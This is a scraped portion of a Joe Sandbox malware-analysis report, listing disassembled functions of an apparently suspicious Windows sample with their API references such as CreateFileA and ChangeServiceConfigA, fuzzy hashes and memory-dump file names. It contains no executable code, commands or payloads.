Associated: 0000000A.00000002.1666237090.0000000000DB6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666264551.0000000000DBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666292373.0000000000DBE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666318681.0000000000DC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666348502.0000000000DC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666373639.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666397406.0000000000DCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666423991.0000000000DCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666452676.0000000000DDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666477072.0000000000DDF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666502362.0000000000DE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666526377.0000000000DE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666554949.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666585376.0000000000E06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666614246.0000000000E1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666638610.0000000000E1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E48000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666727956.0000000000E5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666752673.0000000000E60000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bb0000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID: CreateFile
String ID: ^!UU
API String ID: 823142352-4023682864
Opcode ID: c936f9a4d641fe39bac854f59687093eda51a45441d47ee37231b66139c2f3dd
Instruction ID: f20f3d0b6f721919128767623eb010440e03a5ef8a0bea965c47376a8dfc5f71
Opcode Fuzzy Hash: c936f9a4d641fe39bac854f59687093eda51a45441d47ee37231b66139c2f3dd
Instruction Fuzzy Hash: 7DF0E2B210D6DB4FC7519F24989119F3F70DA86274B2888AAD0D6C7602C5308C47DB35

Function 054515C4 Relevance: 1.8, APIs: 1, Instructions: 302
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 054518C8

Memory Dump Source

Source File: 0000000A.00000002.1669372357.0000000005450000.00000040.00000800.00020000.00000000.sdmp, Offset: 05450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5450000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: 743a1efcf9cb3ea948b0f499efee3917d55441072c57a875fdd8e2aa7fb50830
Instruction ID: 047f84d772e47fdd27483ca6dad7169b8bf48692e2c5dbeb75690b08eb947f67
Opcode Fuzzy Hash: 743a1efcf9cb3ea948b0f499efee3917d55441072c57a875fdd8e2aa7fb50830
Instruction Fuzzy Hash: 9FC13771D006599FDB10CFA8C9857EEBBB2FF45320F14826AEC95A7381D7749885CB81

Function 00D3771B Relevance: 1.7, APIs: 1, Instructions: 165
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.1665792055.0000000000D33000.00000040.00000001.01000000.00000006.sdmp, Offset: 00BB0000, based on PE: true

Associated: 0000000A.00000002.1665494352.0000000000BB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665519492.0000000000BB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665545197.0000000000BB6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665568976.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665592198.0000000000BC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665691841.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665719677.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665744467.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665767264.0000000000D32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665792055.0000000000D3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665839148.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665862895.0000000000D46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665891939.0000000000D64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665915072.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665945237.0000000000D70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665968527.0000000000D72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665992213.0000000000D7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666017837.0000000000D82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666039196.0000000000D83000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666064272.0000000000D85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666089487.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666112900.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666139089.0000000000DA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666165277.0000000000DAB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666189499.0000000000DB4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666213978.0000000000DB5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666237090.0000000000DB6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666264551.0000000000DBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666292373.0000000000DBE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666318681.0000000000DC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666348502.0000000000DC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666373639.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666397406.0000000000DCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666423991.0000000000DCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666452676.0000000000DDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666477072.0000000000DDF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666502362.0000000000DE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666526377.0000000000DE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666554949.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666585376.0000000000E06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666614246.0000000000E1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666638610.0000000000E1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E48000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666727956.0000000000E5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666752673.0000000000E60000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bb0000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f4adb7136c371d3acf08abd3fefd35549ffce82cc50c421737e192adb3ec5e8
Instruction ID: 8ab538e36ea013de9028cdb4972c193b054c7853bdaa77c04d7b085524d6f285
Opcode Fuzzy Hash: 1f4adb7136c371d3acf08abd3fefd35549ffce82cc50c421737e192adb3ec5e8
Instruction Fuzzy Hash: BF41C1F610CA85AEF311CF14AEA0AFA7BACEBC6730F34845FF481C6942D2644D499635

Function 00D37660 Relevance: 1.7, APIs: 1, Instructions: 164
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.1665792055.0000000000D33000.00000040.00000001.01000000.00000006.sdmp, Offset: 00BB0000, based on PE: true

Associated: 0000000A.00000002.1665494352.0000000000BB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665519492.0000000000BB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665545197.0000000000BB6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665568976.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665592198.0000000000BC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665691841.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665719677.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665744467.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665767264.0000000000D32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665792055.0000000000D3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665839148.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665862895.0000000000D46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665891939.0000000000D64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665915072.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665945237.0000000000D70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665968527.0000000000D72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665992213.0000000000D7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666017837.0000000000D82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666039196.0000000000D83000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666064272.0000000000D85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666089487.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666112900.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666139089.0000000000DA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666165277.0000000000DAB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666189499.0000000000DB4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666213978.0000000000DB5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666237090.0000000000DB6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666264551.0000000000DBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666292373.0000000000DBE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666318681.0000000000DC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666348502.0000000000DC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666373639.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666397406.0000000000DCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666423991.0000000000DCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666452676.0000000000DDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666477072.0000000000DDF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666502362.0000000000DE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666526377.0000000000DE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666554949.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666585376.0000000000E06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666614246.0000000000E1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666638610.0000000000E1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E48000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666727956.0000000000E5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666752673.0000000000E60000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bb0000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b0dd771039654da31e4c6ab29cd00ce44fdd4fbf05b750d6f0900b43daa5b72
Instruction ID: ef8cafede2e43aeb0b74233869c4a9f5054bfb2b19e98c2bb9ffb3dcb2cf5192
Opcode Fuzzy Hash: 6b0dd771039654da31e4c6ab29cd00ce44fdd4fbf05b750d6f0900b43daa5b72
Instruction Fuzzy Hash: A141B2F610CA45BEE311CF54AEA5BFA3BA8DBC6730F31842AF481C6942D2604D459635

Function 00D376B1 Relevance: 1.7, APIs: 1, Instructions: 154
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00D3781D

Memory Dump Source

Source File: 0000000A.00000002.1665792055.0000000000D33000.00000040.00000001.01000000.00000006.sdmp, Offset: 00BB0000, based on PE: true

Associated: 0000000A.00000002.1665494352.0000000000BB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665519492.0000000000BB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665545197.0000000000BB6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665568976.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665592198.0000000000BC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665691841.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665719677.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665744467.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665767264.0000000000D32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665792055.0000000000D3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665839148.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665862895.0000000000D46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665891939.0000000000D64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665915072.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665945237.0000000000D70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665968527.0000000000D72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665992213.0000000000D7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666017837.0000000000D82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666039196.0000000000D83000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666064272.0000000000D85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666089487.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666112900.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666139089.0000000000DA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666165277.0000000000DAB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666189499.0000000000DB4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666213978.0000000000DB5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666237090.0000000000DB6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666264551.0000000000DBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666292373.0000000000DBE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666318681.0000000000DC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666348502.0000000000DC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666373639.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666397406.0000000000DCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666423991.0000000000DCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666452676.0000000000DDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666477072.0000000000DDF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666502362.0000000000DE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666526377.0000000000DE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666554949.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666585376.0000000000E06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666614246.0000000000E1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666638610.0000000000E1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E48000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666727956.0000000000E5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666752673.0000000000E60000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bb0000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: de2d411c94315d5c332445ab0c9aa12b50db8f6ac39aedfae060da6691ff0ec1
Instruction ID: 2b33c23094a88670b5036d0007b27b417892bd96f068584ca37ca635c2252c63
Opcode Fuzzy Hash: de2d411c94315d5c332445ab0c9aa12b50db8f6ac39aedfae060da6691ff0ec1
Instruction Fuzzy Hash: 52418EF610CA45AEF711CF55AE90AFE3BACEBC6730F30842BF481C6942D2654D499635

Function 00D376E3 Relevance: 1.6, APIs: 1, Instructions: 139
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00D3781D

Memory Dump Source

Source File: 0000000A.00000002.1665792055.0000000000D33000.00000040.00000001.01000000.00000006.sdmp, Offset: 00BB0000, based on PE: true

Associated: 0000000A.00000002.1665494352.0000000000BB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665519492.0000000000BB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665545197.0000000000BB6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665568976.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665592198.0000000000BC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665691841.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665719677.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665744467.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665767264.0000000000D32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665792055.0000000000D3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665839148.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665862895.0000000000D46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665891939.0000000000D64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665915072.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665945237.0000000000D70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665968527.0000000000D72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665992213.0000000000D7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666017837.0000000000D82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666039196.0000000000D83000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666064272.0000000000D85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666089487.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666112900.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666139089.0000000000DA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666165277.0000000000DAB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666189499.0000000000DB4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666213978.0000000000DB5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666237090.0000000000DB6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666264551.0000000000DBD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666292373.0000000000DBE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666318681.0000000000DC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666348502.0000000000DC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666373639.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666397406.0000000000DCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666423991.0000000000DCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666452676.0000000000DDD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666477072.0000000000DDF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666502362.0000000000DE7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666526377.0000000000DE9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666554949.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666585376.0000000000E06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666614246.0000000000E1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666638610.0000000000E1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E48000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666670560.0000000000E4E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666727956.0000000000E5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666752673.0000000000E60000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bb0000_UOZM77Y2O77YBMEWY4B8DEDXRXA.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a765b27e4a58407ce6261332d552b166320dee4e8df5b217616fe33c061879b0
Instruction ID: 9615dbc9e44d8e6106d107d2507d9c6475555b5c154600e994b79e6ae31f9899
Opcode Fuzzy Hash: a765b27e4a58407ce6261332d552b166320dee4e8df5b217616fe33c061879b0
Instruction Fuzzy Hash: 43317AF720CA19BDF620CE54AE90EFE77ACE7C5770F30882AF846C1941D2A04D099635

Function 00D376D3 Relevance: 1.6, APIs: 1, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.1665792055.0000000000D33000.00000040.00000001.01000000.00000006.sdmp, Offset: 00BB0000, based on PE: true

Associated: 0000000A.00000002.1665494352.0000000000BB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665519492.0000000000BB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665545197.0000000000BB6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665568976.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665592198.0000000000BC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665691841.0000000000D20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665719677.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665744467.0000000000D31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665767264.0000000000D32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665792055.0000000000D3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665839148.0000000000D45000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665862895.0000000000D46000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665891939.0000000000D64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665915072.0000000000D65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665945237.0000000000D70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665968527.0000000000D72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1665992213.0000000000D7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666017837.0000000000D82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666039196.0000000000D83000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666064272.0000000000D85000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666089487.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666112900.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666139089.0000000000DA7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666165277.0000000000DAB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666189499.0000000000DB4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1666213978.0000000000DB5000.00000040.00000001.01000000.00000006.sdmpDownload File
